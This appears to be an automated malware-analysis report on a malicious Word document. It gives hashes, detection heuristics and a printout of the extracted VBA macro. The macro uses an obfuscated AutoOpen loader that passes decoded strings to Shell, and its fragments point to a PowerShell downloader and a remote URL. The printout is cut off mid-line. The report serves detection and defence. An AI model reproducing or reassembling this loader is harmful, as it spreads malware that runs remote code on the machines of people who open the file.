Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 970c73aaaabfe875…

MALICIOUS

Office (OLE)

142.5 KB Created: 2017-12-19 11:07:00 Authoring application: Microsoft Office Word First seen: 2017-12-24
MD5: 9cd7bedda9cf4f9330fc7b29c4439e2c SHA-1: b7d526d2dabb3c6e6eb340cf61d9bb0dbc4a224e SHA-256: 970c73aaaabfe8750c1aeae67edd067b91f79464d3414a8da7697c39748d5b7b
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is a malicious Office document containing an obfuscated VBA macro. The AutoOpen macro utilizes the Shell() function to execute a payload, likely downloading and running a second-stage exploit or malware. The presence of the Shell() call and the obfuscated loader strongly indicate an attempt to execute arbitrary code.

Heuristics 8

  • ClamAV: Img.Dropper.PhishingLure-6443153-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Img.Dropper.PhishingLure-6443153-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://er7nl+EwMT8Ui In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 64313 bytes
SHA-256: d60f395e68ec34dcf619b9519001000b1c449ace6e9f4795a643cd8d0d6eee0c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "qBYPZUVWDRcwE"
Sub AutoOpen()
On Error Resume Next
aCMVdGvfd = 14 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(9))) + 7 + ChrB(12 + Atn(8 / ChrW(5) + 4320 + Log(97)) - 13 / 9) - (14 - CBool(881 - 9) * TMfXJir + Cos(9))
YGufAjLtR = 7 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(11))) + 9 + ChrB(12 + Atn(13 / ChrW(5) + 4320 + Log(97)) - 10 / 13) - (7 - CBool(881 - 7) * TMfXJir + Cos(7))
YGKshlYjL = 9 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(11))) + 14 + ChrB(9 + Atn(7 / ChrW(5) + 4320 + Log(97)) - 11 / 11) - (8 - CBool(881 - 12) * TMfXJir + Cos(10))
LoRNdYzhj = 8 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(8))) + 9 + ChrB(12 + Atn(8 / ChrW(5) + 4320 + Log(97)) - 14 / 13) - (8 - CBool(881 - 9) * TMfXJir + Cos(9))
MtczAdoHN = 8 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(7))) + 9 + ChrB(9 + Atn(8 / ChrW(5) + 4320 + Log(97)) - 12 / 13) - (9 - CBool(881 - 7) * TMfXJir + Cos(13))
VBA.Shell$ wXjLzSuoffX, 0
jTjDoVzzu = 13 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(10))) + 8 + ChrB(10 + Atn(9 / ChrW(5) + 4320 + Log(97)) - 14 / 10) - (11 - CBool(881 - 12) * TMfXJir + Cos(13))
RkoRkUiww = 8 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(7))) + 9 + ChrB(12 + Atn(12 / ChrW(5) + 4320 + Log(97)) - 9 / 12) - (14 - CBool(881 - 11) * TMfXJir + Cos(13))
niBjtUsBi = 14 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(10))) + 13 + ChrB(7 + Atn(8 / ChrW(5) + 4320 + Log(97)) - 10 / 13) - (8 - CBool(881 - 13) * TMfXJir + Cos(7))
zjFYCquUm = 11 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(7))) + 12 + ChrB(7 + Atn(13 / ChrW(5) + 4320 + Log(97)) - 13 / 14) - (8 - CBool(881 - 9) * TMfXJir + Cos(7))
vwsTDwcPw = 8 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(8))) + 14 + ChrB(8 + Atn(13 / ChrW(5) + 4320 + Log(97)) - 13 / 11) - (7 - CBool(881 - 12) * TMfXJir + Cos(8))
End Sub
Function wXjLzSuoffX()
On Error Resume Next
ZajJZEK = 13 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(11))) + 14 + ChrB(12 + Atn(14 / ChrW(5) + 4320 + Log(97)) - 11 / 9) - (12 - CBool(881 - 7) * TMfXJir + Cos(10))
BGwAKrRJw = 13 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(8))) + 12 + ChrB(7 + Atn(14 / ChrW(5) + 4320 + Log(97)) - 12 / 10) - (7 - CBool(881 - 11) * TMfXJir + Cos(13))
usAVoiGTwi = Mid("5uSPrnG][Char]39).RepLaCe(([Char]101+[Char]111+[Char]100),7nlUxa7nl).JUi4t3AujYAFvUBfTPkNK39ZnPliPbTW", 6, 64)
hcLIfDoQ = 14 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(8))) + 10 + ChrB(14 + Atn(13 / ChrW(5) + 4320 + Log(97)) - 9 / 8) - (13 - CBool(881 - 11) * TMfXJir + Cos(7))
SvzAw = 14 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(7))) + 14 + ChrB(14 + Atn(9 / ChrW(5) + 4320 + Log(97)) - 9 / 10) - (11 - CBool(881 - 13) * TMfXJir + Cos(14))
HuwiNiWzzb = 10 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(14))) + 11 + ChrB(12 + Atn(10 / ChrW(5) + 4320 + Log(97)) - 7 / 7) - (9 - CBool(881 - 10) * TMfXJir + Cos(11))
XOaQrq = Mid("4oGj2V1BLo8TLc+'+7nlet7nl+7nl/7nYiE+YiEl+7nlooJs7nlYi'+'E+YiE+YiE+YiE7nld355,htt7nlYiE+YiE+7nlp://rocknsou7nl+7nll7nl+7nlamerica.com7nl+7nl/ooJ7nl+7nls7nl+7nld'+'355,7nl+7nlhttp://er7nl+EwMT8Ui", 15, 172)
hTIlrHkqnL = 11 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(9))) + 10 + ChrB(9 + Atn(13 / ChrW(5) + 4320 + Log(97)) - 11 / 13) - (12 - CBool(881 - 8) * TMfXJir + Cos(11))
CWmCP = 11 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(7))) + 8 + ChrB(10 + Atn(11 / ChrW(5) + 4320 + Log(97)) - 14 / 9) - (10 - CBool(881 - 12) * TMfXJir + Cos(10))
TrGIJZ = 11 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(11))) + 11 + ChrB(10 + Atn(10 / ChrW(5) + 4320 + Log(97)) - 13 / 14) - (9 - CBool(881 - 8) * TMfXJir + Cos(14))
PNrpsZfU = Mid("qquz92ivwtr8YiE+YiEdnsadas7nl+7nld7nl+7nl = 7nl+7nlne7nl+7nlw-ob7nl+7nlject r7nl+7nla7nlYiE+YiE+7nlndo7zRrP", 13, 91)
XwtUMS = 13 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(12))) + 14 + ChrB(12 + Atn(11 / ChrW(5) + 4320 + Log(97)) - 7 / 11) - (8 - CBool(881 - 13) * TMfXJir + Cos(14))
iwHWbtFvHj = 10 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(8))) + 10 + ChrB(14 + Atn(10 / 
... (truncated)

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